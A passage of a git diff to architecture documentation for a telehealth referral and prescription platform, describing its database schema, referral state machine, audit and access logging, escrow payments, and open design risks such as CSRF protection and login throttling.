consultation notes must decrypt in the application layer or use a separate searchable index, not a Postgres index on this column. Key rotation: `backend/scripts/rotate-field-keys.mjs` re-encrypts in batches. + +Readable (`GET /consultations/:id`) only by the treating doctor and the +patient of the underlying appointment; anyone else gets `403`, and the +stored ciphertext never leaves the module. What is still open is issue +#4's fuller workflow β€” sign-off, addenda, a doctor editing notes after the +fact β€” which is exactly why the referral snapshot (Β§4.4) exists rather +than referrals reading this row live. + +### 4.4 Referral +``` +Referral + id + patient_profile_id (FK -> PatientProfile) + source_consultation_id (FK -> Consultation, required) + referring_doctor_id, target_doctor_id (both FK -> DoctorProfile, required) + target_specialty_id (nullable FK -> Specialty β€” denormalised label, used + by the loop guard and admin views; not issue #23's specialty management) + snapshot_notes [ENCRYPTED β€” Phase 8 issue #46] (text copy of the referring consultation notes at time of referral β€” immutable) + parent_referral_id (nullable self-FK β€” the referral whose appointment + produced the consultation this referral came from; this is the chain + loop detection walks) + status (enum: pending|accepted|declined|completed|expired|cancelled) + no_show_count (Int, default 0), referring_doctor_notified_at (nullable) + loop_flagged_at (nullable), loop_flag_reason (nullable text) + cancelled_reason (nullable text) + resulting_appointment_id (nullable FK -> Appointment, unique β€” the + appointment this referral *currently* produced) + created_at, updated_at + indexes: patient_profile_id, referring_doctor_id, target_doctor_id, + status, loop_flagged_at +``` +Design note: `snapshot_notes` deliberately duplicates `Consultation.notes` +rather than pointing live at it, so a later edit to the original +consultation can never silently change what the specialist already acted +on (PRD hard question 8.1.4). `snapshotIntakeId` from the original design +has no column yet β€” see the Β§4 intro note. + +The other six fields are all Phase 3 issue work: `parentReferralId` + +`loop_flagged_*` are loop detection (#65), `no_show_count` + +`referring_doctor_notified_at` are the no-show cascade (#67), +`cancelled_reason` is admin override (#68). `target_doctor_id` being +**required** is now backed by a real routing rule rather than a scope +cut (issue #6, `docs/adr/0008-referral-routing-without-target-doctor.md`): +a specialty-only referral is resolved to the least-loaded eligible +doctor *at creation*, so the resolved id is always what this column +holds and nothing is ever created unassigned. + +Status transitions that exist today: +`pending β†’ accepted` (patient accept, conditional UPDATE β€” the same +concurrency shape as `claimOpenSlot`), `pending β†’ declined` (patient), +`accepted β†’ completed` (referral-origin appointment completed), +`accepted β†’ pending` (appointment cancelled or first no-show β€” bookable +again, same snapshot, no re-intake), `accepted β†’ expired` (second +no-show, threshold `NO_SHOW_EXPIRY_THRESHOLD = 2`), and +`pending|accepted β†’ cancelled` (admin, audited β€” `AuditEvent`, Β§4.10). + +``` +pending ──accept──▢ accepted ──appointment completed──▢ completed + β”‚ β”‚ + β”‚ β”œβ”€appointment cancelled──▢ pending (slot released; same snapshot) + β”‚ β”œβ”€no-show #1─────────────▢ pending (no_show_count = 1) + β”‚ β”œβ”€no-show #2 (=threshold)─▢ expired (referring_doctor_notified_at set) + β”‚ └─admin cancel────────────▢ cancelled (reason; audited; live appt closed) + β”œβ”€decline──────────▢ declined + └─admin cancel──────▢ cancelled +``` +Every arrow into `pending`/`completed`/`expired` from `accepted` is a +conditional UPDATE that only matches a referral still `accepted` *and +still pointing at the appointment that triggered it*, so a doubled hook +is a no-op (issue #67, integration-tested). + +### 4.5 Prescriptions (versioned, append-only) +``` +Prescription + id, consultation_id (FK), patient_profile_id (FK), prescribing_doctor_id (FK) + facility_profile_id (FK to pharmacy), amount_stroops (clinician-entered XLM total) + supersedes_prescription_id (nullable, unique self-FK), created_at + # Corrections create a child row and never update the issued row. + +PrescriptionItem + id, prescription_id (FK), drug_name, dosage, frequency, duration +``` + +### 4.6 Lab orders (versioned, append-only) +``` +LabOrder + id, consultation_id (FK), patient_profile_id (FK), ordering_doctor_id (FK) + facility_profile_id (FK to lab), amount_stroops (clinician-entered XLM total) + test_type, urgency (enum: routine|urgent), notes [ENCRYPTED] + supersedes_lab_order_id (nullable, unique self-FK), created_at + +LabResult + id, lab_order_id (FK, unique), fulfilling_facility_id (FK), result_file_url, summary + created_at +``` +The facility and total are captured at issuance. The issuing clinician supplies +`amount_stroops` in native XLM stroops because v1 has no facility catalog or +pricing service. Corrections create a new immutable row. A `created` payment +intent moves to the correction; an already escrowed intent remains linked to +the original and is refunded through the existing admin refund action. + +### 4.7 Fulfillment (facility-side) +``` +FulfillmentRecord + id, prescription_id (FK, nullable, unique), lab_order_id (FK, nullable, unique) + facility_id (FK), status (enum: pending|in_progress|fulfilled|rejected) + created_at, updated_at + # Exactly one of the two order FKs is set β€” enforced by a PostgreSQL CHECK, + not an application guard. One row per order, enforced by the unique on + each FK column (Postgres keeps NULLs, so each is at most one non-null). + # All three FKs are RESTRICT: deleting an order or a facility account cannot + erase the fulfillment trail (docs/adr/0010's retention rule). + # Replaces the Phase 0 polymorphic (order_type, order_id) pair. + Decision + reasoning: docs/adr/0012 (issue #13). +``` +Design note: kept separate from `Prescription`/`LabOrder` so a facility's operational status doesn't need write access to the clinical order record itself β€” it only writes to its own fulfillment row. Reduces blast radius of a compromised/misbehaving facility account. + +One table rather than a `PrescriptionFulfillment`/`LabOrderFulfillment` pair: the Β§5.3 step-5 transition ("`fulfilled` only via the facility-confirmed path") then exists in exactly one implementation instead of two that can drift, and the facility's assigned-orders queue is one indexed query (`WHERE facility_id = ? AND status IN (…)`) instead of a cross-table union. The lab-specific payload was never on this row anyway β€” it lives in `LabResult` (Β§4.6). + +### 4.8 Notifications +``` +Notification + id, user_id, type, payload (jsonb), read_at (nullable), created_at +``` + +### 4.9 Auth hardening state (Phase 8) +``` +LoginAttempt (issue #35) + id, scope ('email' | 'ip'), key, failed_count, window_start, last_failed_at + lock_until (nullable), created_at, updated_at + # unique (scope, key). One bucket per normalised email and per client IP. + # Deliberately in Postgres, not process memory: the deployment is a single + # instance today but must not be designed as one forever, and a restart + # must not hand an attacker a fresh budget. + # Counters move only via a single conditional upsert (INSERT ... ON + # CONFLICT DO UPDATE) β€” never read-then-write β€” so N concurrent bad logins + # are counted as N (integration-tested). + # The lock is set once per window; hammering a locked account grows the + # count but never extends the deadline, so a lock is a bounded wait. +``` +`User` fields added in Phase 8 live in Β§4.1; the `email_verified_at` / +`EmailVerificationToken` pair (issue #34) is in Β§4.1 as well. + +### 4.10 Audit trail (Phase 8, issue #43) +``` +AuditEvent + id, actor_user_id (nullable β€” null = system), actor_role (nullable Role) + entity_type ('Appointment' | 'DoctorProfile' | 'PaymentIntent' | 'Consultation' | 'Prescription' | 'LabOrder' | 'Referral'), entity_id + action (dotted, e.g. 'appointment.booked'), from_state, to_state (nullable) + request_id (X-Request-Id of the causing request), metadata (jsonb, nullable) + created_at + # APPEND-ONLY: no update/delete path in code, and BEFORE UPDATE/DELETE + (row) + BEFORE TRUNCATE (statement) triggers reject mutation in the + database. A future retention policy must drop/recreate them in its own + reviewed migration. + # No foreign keys on purpose: an ON DELETE action would have to rewrite + audit rows (forbidden), and RESTRICT would let the trail block account + lifecycle (e.g. issue #41's purge). Ids are recorded as facts. + # Written only by audit.record() inside the transaction of the change it + describes β€” the event exists iff the change committed. + # metadata: <= 16 flat scalar keys, strings <= 200 chars; keys that look + like personal/secret data (name, email, phone, dob, notes, intake, + password, secret, token, key, body, payload, …) are refused. Never PHI. + # created_at is stamped by Prisma on the app server per row (ms + precision); same-millisecond rows are ordered by id. + # indexes: (entity_type, entity_id, created_at), (actor_user_id, + created_at), (created_at, id) β€” the last backs the admin cursor. +``` +There is **one** audit trail in this schema. Phase 3's referral admin +actions (#68) do not get their own table β€” they are `entity_type = +'Referral'` rows in this one, written through the audit module's +`record()` in the same transaction as the referral change, so the trigger +that makes the trail append-only covers them too. + +Transitions recorded (action: from β†’ to): +- `appointment.booked`: `null β†’ scheduled` (metadata: slot id, doctor profile id, origin). Written by the appointments module for **both** booking paths β€” a direct booking and a referral-origin booking (the accept path), which is what the `origin` metadata distinguishes; there is no way to create an appointment that leaves no trail. +- `consultation.closed`: `null β†’ outcome` (metadata: appointment id; never the notes β€” that's PHI). Written by the consultations module for every consultation write, whichever route addressed it (`POST /consultations`, `POST /appointments/:id/consultation`, or the orders flow). +- `doctor.verification_status_changed`: previous β†’ new verification status (read under `FOR UPDATE`; a no-op set records nothing) +- `payment_intent.funded` `created β†’ escrowed`, `payment_intent.released` `escrowed β†’ released`, `payment_intent.refunded` `escrowed β†’ refunded` (metadata: order type, amount, asset code, escrow id, tx hash, contract id β€” public on-chain references only). The status write is now conditional on the observed state, so a racing second action gets `409` and records nothing. +- `payment_intent.prepared` `created β†’ awaiting_signature`, `payment_intent.prepare_expired` `awaiting_signature β†’ created` (issue #80). Actor is the patient for prepare and the system for expiry; metadata adds the prepared transaction hash. +- `referral.accepted`: `pending β†’ accepted` (metadata: the appointment id the accept booked). Written by the referrals module in the same transaction as the accept, so the patient's decision and the appointment it produced are both recorded or neither is. +- `referral.declined`: `pending β†’ declined`. +- `referral.reassign`: `null β†’ null` β€” the referral is retargeted, not + state-moved, so the transition is carried in the metadata (from/to + doctor profile ids + the admin's reason, ≀ 200 chars) rather than in + from_state/to_state. +- `referral.cancel`: previous status β†’ `cancelled` (metadata: the admin's + reason). The live appointment of an accepted referral is closed in the + same transaction (through the appointments service). + +Not yet recorded (open gap, not silently dropped): a referral's +*creation* (`null β†’ pending`), and the two transitions the appointment +cascade drives β€” `accepted β†’ completed` and `accepted β†’ expired` (the +no-show path) β€” because the cascade fires from inside the appointment's +status transaction, which has no actor of its own to attribute. The +referral-creation and cascade rows are owed when Phase 4/6 wire the +remaining state changes; until then the trail shows the referral's +history only from acceptance onwards. + +### 4.11 Patient data export (Phase 8, issue #40) +``` +PatientExport + id, patient_profile_id (FK -> PatientProfile, cascade β€” a derived copy) + status (enum: pending|processing|ready|failed|expired) + schema_version (nullable int β€” bundle format written), attempt (int, fencing token) + started_at, generated_at, expires_at (nullable) + size_bytes, chunk_count (nullable β€” set on ready) + failure_code, failed_section (nullable β€” machine-readable only, never an error message) + created_at, updated_at + # Every transition is a conditional UPDATE on the expected status (and + attempt), so two workers can't both generate one job and a stale claim + can't publish over a newer one. One in-flight job per patient (request + locks the PatientProfile row FOR UPDATE). + # The row is kept after expiry (no patient data in it) so status reads + answer "expired" rather than 404. + +PatientExportChunk + export_id (FK -> PatientExport, cascade), attempt, seq β€” composite PK + data (text β€” one slice of the JSON bundle, ~PATIENT_EXPORT_CHUNK_BYTES) + # Only chunks of the export's current attempt are ever served; the cleanup + job deletes other attempts' and expired/failed exports' chunks. +``` +Bundle format (schemaVersion 1): `{ format: "docforum.patient-export", +schemaVersion, exportId, generatedAt, sections: { : { version, items } } }` +β€” see Β§3.1 for where sections come from. + +### 4.12 Escrow chain event observations (issue #86) + +EscrowEventCursor has one row per deployed escrow contract and persists the Soroban RPC pagination cursor and retention error. EscrowChainEvent is uniquely keyed by (contractId, eventId) and records the contract event, ledger, transaction hash, escrow id, match state, and alert timestamp. These are observations, not a source of payment state: matching checks the locally owned PaymentIntent; the poller never mutates a payment transition. +### 4.11 PHI read-access log (Phase 8, issue #45) +``` +AccessLog + id, accessed_by (nullable FK β†’ User, SET NULL on delete β€” the row keeps + its timestamp and entity while the PII pointer is removed) + patient_profile_id (nullable FK β†’ PatientProfile, CASCADE β€” the record + owner, whose data was viewed; used by the patient-facing query) + entity_type ('IntakeForm' | 'Consultation' | 'Prescription' | + 'PrescriptionItem' | 'LabOrder' | 'LabResult' | 'Referral' | + 'PaymentIntent' | 'PatientProfile' | 'Appointment'), entity_id + route (nullable β€” the HTTP route that returned the payload), + detail (nullable β€” context string, never PHI) + accessed_at (default now) + # indexes: (accessed_at), (accessed_by), (patient_profile_id, + accessed_at), (entity_type, entity_id). +``` +Answers "who looked at this" β€” distinct from `AuditEvent`'s "who changed +this" (Β§4.10). Reads are far higher volume than state changes, so: +- writes go through `auditService.recordAccess()`, which is + **fire-and-forget** (never awaited on the read path β€” a unit test pins + sub-50ms return with a hanging insert) and **fail-open** (a logging + failure never fails the read, but is counted and surfaced via + `GET /admin/access-logs/stats` for alerting); +- rows are **retention-managed**, not append-only: `pruneOldAccessLogs()` + (wired into the prune interval in `src/server.ts`) deletes rows older + than `ACCESS_LOG_RETENTION_DAYS` (default 365). That delete is the only + one in the audit repositories and is bounded to the retention cutoff. +Patient-facing query (`GET /patients/me/access-log`) is scoped server-side +to the caller's own profile (resolved from the authenticated user, never +from the request) and strips all viewer PII to a role β€” a deleted viewer +surfaces as `deleted_user`. + +### 4.13 Payments (Phase 5.5 β€” ADR 0004 custodial v1, ADR 0005 non-custodial) +``` +PaymentIntent + id, prescription_id / lab_order_id (exactly one typed FK β€” issue #85) + status (enum: created|awaiting_signature|submitting|escrowed|released|refunded|failed) + patient_profile_id (FK, RESTRICT), facility_id (FK) + amount (bigint β€” smallest unit of asset_code; never scaled in this repo) + asset_code, token_contract_id (SAC address; token_contract_id is nullable + only for pre-#79 rows, which resolve ESCROW_TOKEN_ID as native XLM) + escrow_id, stellar_tx_hash, soroban_contract_id (nullable β€” set on fund) + prepared_tx_hash, prepared_xdr, prepared_expiry_ledger, prepared_expires_at, + refund_after (nullable β€” live only in awaiting_signature; cleared on expiry) + created_at, updated_at + # Every status write is a conditional UPDATE on the observed state, in the + same transaction as its AuditEvent (Β§4.10). Prepare is + created -> awaiting_signature; expiry is awaiting_signature -> created. + `submitting` is reserved for ADR 0005's submit half (not built). Orders + are priced in XLM today, so issuance writes asset_code='XLM'. + +PatientWalletLink + patient_profile_id (unique FK -> PatientProfile, cascade) + stellar_public_key, verified_at + # The PAYER wallet (ADR 0005). Rows are written by the SEP-10 flow, which + is not built yet; prepare requires one and returns 409 + WALLET_NOT_LINKED otherwise. + +WalletLink + facility_id (unique FK -> FacilityProfile, cascade) + stellar_public_key + # The PAYEE/payout wallet, facility-managed (ADR 0004). Unchanged by #79. +``` +Assets are an environment allowlist (`PAYMENT_ASSETS`; testnet defaults XLM + +USDC SACs) rather than a fixed enum: an intent in any other asset is +rejected at creation. Before funding (and preparing) an issued asset, the +payee's Horizon account is checked for an authorised trustline +(`PAYEE_TRUSTLINE_MISSING`); native XLM needs none. Only assets without +clawback/transfer fees/rebasing belong on the list β€” escrow threat model +T5, enforced as a curated config policy. + +## 5. Key flows (sequence-level, not code) + +### 5.1 Booking (concurrency-safe) +1. Client requests open slots for a doctor. +2. Client attempts to book a specific `AvailabilitySlot` β†’ backend runs this inside a DB transaction with a row-level lock / conditional update (`UPDATE ... WHERE status = 'open'`), so a second concurrent booking attempt on the same slot fails atomically instead of racing. +3. On success, `Appointment` is created referencing the now-`booked` slot. + +### 5.2 Referral (Phase 3 β€” issues #5/#7/#65–#68) +1. Doctor records a `Consultation` against their own **completed** appointment, then creates one or more `Referral`s from it (`POST /referrals`, or the atomic batch `POST /referrals/from-consultation/:id` / `POST /consultations/:id/referrals`) β€” each target gets its own `snapshot_notes` copy. Multi-referral is a deliberate decision recorded in `docs/adr/0006-multiple-referrals-per-consultation.md`: independent lifecycles born in one transaction, grouped only for presentation. A target is a **named verified doctor** *or* **a specialty**, and a specialty-only target is routed to a concrete doctor at creation (`docs/adr/0008`): least-loaded among eligible doctors β€” verified, holds the specialty, not the referring doctor, active account β€” where load counts that doctor's `pending` + `accepted` referrals; ties break on doctor id. Zero eligible doctors is a `422 REFERRAL_NO_ELIGIBLE_TARGET` and writes nothing, so an unassigned referral cannot exist. +2. Creation is one transaction: gates (own consultation, completed appointment, no self-referral, target verified [+ in specialty], no duplicate target in this consultation), lineage lookup (`parent_referral_id` via consultation β†’ appointment β†’ referral), then the loop walk (PRD Β§8.1.2 / issue #65) β€” a repeat doctor/specialty in the chain **flags** the referral for the admin queue rather than blocking it; exceeding the hop limit (`REFERRAL_MAX_HOPS`, default 4) hard-rejects with 422. +3. Patient must **accept** (PRD OQ-3): `POST /referrals/:id/accept` does a conditional `pending β†’ accepted` UPDATE (exactly one concurrent accept wins) and books a real `Appointment` against the target doctor through the appointments service β€” same `claimOpenSlot` path as a direct booking, `origin: 'referral'`, patient picks the slot, and no re-intake happens because the snapshot travels on the referral. Decline is `pending β†’ declined`, terminal. +4. The appointment's own status transition then cascades back into the referral inside the same transaction (issue #67): `completed β†’` referral `completed`; `cancelled β†’` referral back to `pending` (slot released, re-bookable, same snapshot); `no_show β†’` count++ and back to `pending`, except at `NO_SHOW_EXPIRY_THRESHOLD` (2) where it becomes `expired` with `referring_doctor_notified_at` set. Every one of these writes is conditional on the referral still being `accepted` and still pointing at that appointment, so a hook firing twice is a no-op. +5. Admin override (issue #68): `GET /referrals/admin/queue` (stuck/aged/loop-flagged, with a derived reason), reassign a **pending** referral to another verified doctor (target column only β€” snapshot untouched), cancel a `pending`/`accepted` referral with a reason (closing its live appointment through the appointments service). Reassign and cancel each write an `AuditEvent` (Β§4.10), readable at `GET /referrals/admin/:id/audit-events`. +6. The "zero verified doctors in that specialty" dead end (PRD edge case 8.2.2) is surfaced **at creation**: routing finds no eligible doctor, the call fails `422 REFERRAL_NO_ELIGIBLE_TARGET`, and the referring doctor is told before the patient is handed anything. What is still not built is the patient-facing "waiting for a specialist" state β€” that needs a target-less referral to exist, which ADR 0008 deliberately rejects. A routed referral whose doctor never publishes a slot still sits `pending` until issue #8's time-based expiry or an admin (#68) picks it up. + +### 5.3 Order issuance and fulfillment +1. Specialist issues `Prescription` and/or `LabOrder` from a `Consultation`. +2. Patient views eligible facilities filtered by `FacilityCapability` matching the order. +3. Patient selects a facility β†’ `FulfillmentRecord` created (`pending`). +4. Facility updates its own `FulfillmentRecord` status; for labs, attaches `LabResult`. +5. Order's own `status` field is updated to `fulfilled` only via this facility-confirmed path β€” patient/doctor cannot self-mark it. + +## 6. Hard questions (architecture-level β€” see PRD Β§8 for product-level) + +### 6.1 What do we think would break? +1. Naive slot booking without the DB-level conditional update in Β§5.1 β€” the most likely first bug filed against this repo. **Resolved 2026-09-14:** implemented exactly as designed in Β§5.1 β€” see `backend/src/modules/availability/repositories/index.ts` (`claimOpenSlot`) and `backend/src/modules/appointments/services/index.ts` (`bookSlot`, the transaction wrapping it). Integration-tested with real concurrency in `backend/tests/integration/booking.test.mts`. +2. `Referral.target_doctor_id` left nullable with no fallback assignment logic β€” referrals to "a specialty" with no specific doctor need a real routing rule (round robin? load-based?) or they'll pile up unassigned. **Resolved 2026-10-21 (Phase 3, issue #6 β€” `docs/adr/0008-referral-routing-without-target-doctor.md`):** the column stays **required** and the fallback logic now exists at creation β€” a specialty-only target is routed to the **least-loaded eligible doctor** (verified, holds the specialty, not the referring doctor, active account; fewest `pending`+`accepted` referrals, ties by doctor id) inside the creation transaction. Zero eligible doctors fails the call with `422 REFERRAL_NO_ELIGIBLE_TARGET` instead of writing an unowned row, so the pile-up this item predicts remains impossible. Still deliberately absent: a patient-facing "waiting for a specialist" state (it requires a nullable target), availability-aware routing (needs doctor-side availability/discovery), and a per-doctor "accepting referrals" switch β€” all deferred in the ADR with revisit triggers. +3. Polymorphic `FulfillmentRecord.order_id` (Β§4.7) β€” polymorphic FKs are a known footgun for referential integrity in Postgres. Needs either two separate tables (`PrescriptionFulfillment`, `LabOrderFulfillment`) or a check-constraint + application-level guard. **Current schema sketch is a simplification that should be revisited before implementation**, not treated as final. **Resolved 2026-10-22 (Phase 5, issue #13 β€” `docs/adr/0012-fulfillment-record-typed-order-fks.md`):** neither option exactly as posed β€” `FulfillmentRecord` stays **one table**, but the `(order_type, order_id)` pair is gone. It is replaced by two real foreign keys (`prescription_id`, `lab_order_id`, each `UNIQUE`) with a PostgreSQL `CHECK` requiring exactly one, plus the `facility_id` FK the sketch left as a TODO. Referential integrity is now the database's job, and the CHECK only chooses between two already-validated columns β€” which is what an `order_type`+`order_id` guard could never do, since Postgres cannot make a bare `TEXT` conditionally reference one of two tables. Keeping one table (rather than splitting) is what keeps Β§5.3 step 5 a single transition implementation and the facility's assigned-orders queue a single indexed query; the discriminator mechanism is the one `PaymentIntent` already uses (issue #85). Deferred by that decision rather than invented around: re-routing an order to a different facility after a `rejected` fulfillment would need a partial unique index, so in v1 a `rejected` row is terminal for that order β€” a corrected order is a new `supersedes_*_id` row and gets its own fulfillment. +4. JWT refresh rotation without a revocation list β€” a stolen refresh token has no clean kill switch until this is added. +5. **Discovered 2026-10-15 while building email verification (Phase 8, issue #34):** the email/SMS provider is still undecided (Phase 6, issue #17), so verification links can't actually be delivered in a hosted environment yet β€” `backend/src/modules/auth/services/email-dispatcher.ts` is a no-op seam until a provider is integrated. Until then `backend/scripts/mark-email-verified.mjs` is the documented out-of-band path for an operator with DB access. Not a reason to skip the guard: the guard is what makes the flow safe once delivery exists, and shipping it locked-off would just mean shipping it untested. + +6. **Discovered 2026-10-17 (issue #41):** after `DELETE /patients/me`, the caller's access token (stateless JWT, 15-minute TTL) still passes `authenticate` until it expires β€” there's no revocation list (item 4 above, issue #18). It can't reach anything: every patient route resolves the caller through `getMyPatientProfile`, which refuses an anonymised profile; booking/payments refuse it via `requireVerifiedEmail` (verification is cleared); refresh refuses `deleted_at`. Closing the window itself is #18's job. Also: Postgres reports `ON DELETE RESTRICT` as SQLSTATE 23001, which Prisma surfaces as an *unknown* request error, not `P2003` β€” `patients/services` `isForeignKeyRefusal` handles both; `middleware/error-handler.ts` currently maps neither to a 4xx. + +### 6.2 What edge cases are we missing (architecture-level)? +1. What happens to `AvailabilitySlot.status = 'held'` if a booking transaction fails/times out mid-flight β€” is there a TTL to release the hold? (Needed or slots leak into permanent limbo.) +2. Referral `expired` status exists in the enum but no expiry job is designed yet β€” orphaned referrals (PRD 8.1.3 sibling problem). **Partly addressed 2026-10-17 (Phase 3, issue #67):** repeated no-shows now drive a referral to `expired` (`NO_SHOW_EXPIRY_THRESHOLD = 2`, with `referring_doctor_notified_at` set as the seam Phase 6's notification layer will read). What is still missing is **time-based** expiry β€” a pending referral nobody ever accepts, or one whose target doctor never offers a slot, has no TTL and no worker. Tracked as issue #8; per Β§6.3.2 it should ship as a simple interval/cron, not a queue. +3. No schema support yet for a doctor working across multiple facilities/locations (PRD edge case 6) β€” `AvailabilitySlot` currently assumes one calendar per doctor. +4. ~~No audit-log table~~ **Foundation resolved 2026-10-17 (issue #43):** `AuditEvent` (Β§4.10) + `audit.record()` in the same transaction as the change, append-only at the DB level, wired into booking (both booking paths), doctor verification, payment fund/release/refund, the patient's referral accept/decline and the referral admin actions (`referral.reassign`, `referral.cancel` β€” Phase 3, issue #68, written as `entity_type = 'Referral'` rows in the same table). **Still open:** the referral's creation and the cascade-driven `completed`/`expired` transitions (no actor to attribute them to yet), the remaining Phase 4 transitions (prescriptions, lab orders, fulfillment), the admin login-throttle clear (`/auth/login-attempts/clear`) still only logs to the console; the app connects as the database owner, which could disable the triggers β€” enforcing append-only against the owner needs a separate least-privilege DB role (deployment work, issue #22). PRD Β§7 auditability is therefore "a real mechanism exists" rather than "auditability is done"; remaining coverage stays an open gap. +5. CSRF on the cookie-authenticated routes β€” the refresh cookie has to be `SameSite=None; Secure` (the Pages frontend is a different site β€” see `docs/adr/0003`), which means any site the patient visits can make their browser send it to `/auth/refresh` and `/auth/logout`. **Resolved 2026-10-15 (issue #37):** a per-session CSRF token is bound into the refresh token and required in the `X-CSRF-Token` header, the `Origin` header is validated against an explicit allowlist, and CORS is now a per-environment allowlist (`CORS_ORIGINS`) instead of one configured string. The double-submit cookie pattern β€” the usual answer β€” is *not* usable here: a cookie set by this API is a third-party cookie to `docforum.github.io`, so the frontend's JavaScript can never read it; the token travels in the login/refresh response body instead. A request with no `Origin` (curl, server-to-server) is allowed through the Origin check but still needs the token. See `backend/src/middleware/csrf.ts`, and `docs/api/README.md` for what the client must send. Consequence: refresh cookies issued before this change carry no `csrf` claim and are rejected, i.e. existing sessions need one re-login. + +### 6.3 What's overengineered (architecture-level, for v1)? +1. Polymorphic fulfillment design (Β§4.7) may itself be premature abstraction β€” two small, boring, separate tables might beat one clever polymorphic one at this stage. Flagged as a design smell to revisit, not shipped as-is. **Resolved 2026-10-22 (issue #13, `docs/adr/0012-fulfillment-record-typed-order-fks.md`):** the polymorphism was the premature part and it is gone. Splitting into two tables was weighed and rejected β€” it would give the Β§5.3 step-5 transition two implementations and the facility queue a cross-table union, i.e. *more* ceremony than the single typed-FK table, not less. +2. BullMQ/Redis job queue before there's a single job that needs it β€” fine to stub with a simple cron/interval check initially and introduce a real queue when reminder/expiry logic actually exists. +3. Designing for horizontal service extraction (module boundary purity, Β§3) before there's a single reason to split β€” worth doing lightly (it's cheap discipline), but not worth extra ceremony (e.g., separate repos, separate CI, internal API versioning) yet. +4. **Added 2026-10-17 (issue #40):** export bundles are stored as text chunks in Postgres (`PatientExportChunk`, Β§4.11), not in object storage as Β§2's file-storage row prescribes β€” no object-storage provider is integrated yet, and a filesystem store would break on Render's ephemeral disk and on any second instance. The chunks are read/written only by `patients/repositories`, are short-lived (`PATIENT_EXPORT_TTL_HOURS`, default 24) and are deleted by the cleanup job, so moving to S3 later swaps one storage seam rather than the design. Revisit when lab-result storage (Phase 5, issue #16) picks a provider. + +## 7. Non-functional / cross-cutting + +- **Testing**: unit tests per module (`backend/tests/unit`), integration tests for booking/referral/order flows specifically because those are the correctness-critical paths (`backend/tests/integration`). +- **Security β€” login throttling (Phase 8, issue #35)**: `POST /auth/login` is throttled per normalised email *and* per client IP, in Postgres (`LoginAttempt`, Β§4.9): exponential backoff with `Retry-After` from `LOGIN_THROTTLE_BACKOFF_AFTER` failures, a temporary lock at `LOGIN_THROTTLE_LOCK_AFTER`, and a cleanup interval in `src/server.ts`. Two things this depends on operationally: (1) `TRUST_PROXY` must be set correctly in production β€” Render terminates TLS in front of exactly one hop, so `TRUST_PROXY=1`; leaving it unset makes every request look like Render's proxy (one shared bucket for everyone), and `true` lets a client spoof `X-Forwarded-For` for a fresh bucket per request; (2) the throttle deliberately does not reveal whether an account exists β€” locked, backoff and unknown-account responses are identical, and an absent account still pays the bcrypt comparison cost so response timing doesn't leak either. +- **Migrations**: Prisma migrations are the only way schema changes happen β€” no manual DB edits, ever. +- **Environments**: local (Docker Compose), staging, production β€” staging/production infra choice is an open item (see ROADMAP). + +## 8. Explicit non-decisions (deferred, not forgotten) + +- Deployment target (Fly.io / Render / AWS / etc.) β€” still undecided for + production. A Render free-tier instance exists as a **preview only** + (so `docforum-web`'s GitHub Pages preview has a live backend to call) β€” + see `docs/adr/0003-render-preview-deployment.md`. Explicitly not this + decision: no secrets manager, no backups, disposable data, 30-day + free-tier DB expiry. +- Notification provider β€” **resolved (Phase 6, issue #17):** Postmark for + email and Twilio for SMS, behind the provider-agnostic `notifications` + interface (see Β§2). Provider SDK calls must stay inside the dispatch + adapter, never in business logic. +- Video/voice provider β€” undecided, PRD OQ-1 must resolve first. +- Multi-region / i18n β€” not designed for, not blocked either. diff --git a/ARCHITECTURE_ESSENTIALS.md b/ARCHITECTURE_ESSENTIALS.md index e2c0213a..1e178f80 100644 --- a/ARCHITECTURE_ESSENTIALS.md +++ b/ARCHITECTURE_ESSENTIALS.md @@ -1,74 +1,74 @@ -# ARCHITECTURE_ESSENTIALS.md - -Quick-reference only. Full reasoning lives in `ARCHITECTURE.md`. Full product scope in `PRD.md`. If this file and `ARCHITECTURE.md` conflict, `ARCHITECTURE.md` wins and this file is stale β€” fix it in the same PR. - -## Stack (don't relitigate without an ADR in docs/adr/) -- Backend: Node.js + TypeScript + Express/Fastify β€” **modular monolith**, not microservices. -- DB: PostgreSQL via **Prisma 7** (`backend/prisma/schema.prisma` = source of truth for models). v7 has no Rust query engine: the client is built with a driver adapter (`@prisma/adapter-pg` + node-postgres) in `backend/src/db/prisma-client.ts` β€” bare `new PrismaClient()` throws β€” and the CLI's datasource URL lives in `backend/prisma.config.ts`, not in the schema. Keep the `prisma-client-js` generator: it still writes to `node_modules/@prisma/client`, so imports and this backend's CommonJS runtime are unchanged (see `docs/adr/0006`). Requires Node >= 20.19. -- Auth: JWT access + refresh, roles = `patient | doctor | facility | admin`. The refresh cookie is `SameSite=None` cross-site, so `/auth/refresh` + `/auth/logout` require an `X-CSRF-Token` header (a per-session token bound into the refresh JWT) and an allowlisted `Origin` β€” see `backend/src/middleware/csrf.ts`. CORS is an explicit per-environment allowlist (`CORS_ORIGINS`). -- Frontend: React + TypeScript + Vite, React Query + Zustand. -- Video/voice, SMS/email, file storage: **third-party, behind an interface** β€” never build custom. -- Jobs: keep it simple (cron/interval) until a real job exists; don't pre-install a queue. Existing interval jobs: login-throttle prune (`src/server.ts`), patient-export worker/cleanup (`src/jobs/patient-exports.ts`) and deleted-account tombstone purge (`src/jobs/account-purge.ts`), all started only from `server.ts`. -- New module holding patient data? Register a patient-export section (ARCHITECTURE.md Β§3.1) β€” right of access must stay complete. - -## Hard rules (violating these = request changes on the PR) -1. **Never mutate a `Prescription` or `LabOrder` after issuance.** Corrections = new row with `supersedes_*_id`. -2. **Availability booking must use a DB-level conditional update/transaction.** No app-level "check then write" for slot booking β€” that's the #1 predicted break (double-booking). -3. **A `Referral` snapshots intake + notes at creation time.** Never let it read live from the original `Consultation` β€” later edits must not rewrite what a specialist already saw. -4. **Cross-module access only through a module's service interface.** Never import another module's `repositories/*` directly. -5. **Facilities write to their own `FulfillmentRecord` only** β€” never directly to `Prescription.status` / `LabOrder.status`. -6. Every module = `routes/ controllers/ services/ repositories/`. Keep that shape. - -## Data model map (see ARCHITECTURE.md Β§4 for full field lists) -`User` (including `locale`, default `en`, Phase 9 #133) β†’ `PatientProfile | DoctorProfile | FacilityProfile`; `User` β†’ `AdminInvite` (Phase 8, issue #39 β€” hashed/expiring/single-use; `User.deactivatedAt` soft-deactivates an account, refusing login/refresh/access tokens without deleting anything) -`User` (guardian) β€”< `Guardianship` >β€” `PatientProfile` (dependent, `userId` null) (Phase 8, issue #42 β€” docs/adr/0011; create-only, access ends at `AGE_OF_MAJORITY_YEARS`; authorise any act-for-a-patient path through 